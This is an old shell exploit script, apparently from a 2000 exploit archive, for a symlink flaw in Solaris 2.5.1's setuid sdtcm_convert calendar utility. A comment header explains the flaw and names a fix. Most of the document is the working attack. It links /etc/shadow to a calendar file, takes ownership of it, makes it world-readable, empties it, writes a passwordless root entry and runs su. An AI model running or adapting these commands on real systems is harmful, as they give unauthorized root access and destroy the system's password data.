#!/bin/sh
#
# Another hole in Solaris
#
# I have found a security hole in sdtcm_convert on Solaris 2.5.1.
# sdtcm_convert - calendar data conversion utility - allows any user to
# change the owner for any file (or directory) from the system or gain root
# access. The exploit is very simple. Change the permision mode of your calendar
# file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
# sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
# correct it (it 'll ask you first). You have only to delete the callog file
# and make a symbolic link to a target file and your calendar file and said to
# sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
# file ...
# A simple way to correct this is to get out suid_exec bit from
# sdtcm_convert.

whoami
ls -l /etc/shadow
ln -s /etc/shadow /tmp/calorig.adam
/usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
ls -l /etc/shadow
chmod 644 /etc/shadow
cp /dev/null /etc/shadow
ls -l /etc/shadow
echo "root::6445::::::" >> /etc/shadow
su
id
#                 www.hack.co.za           [2000]#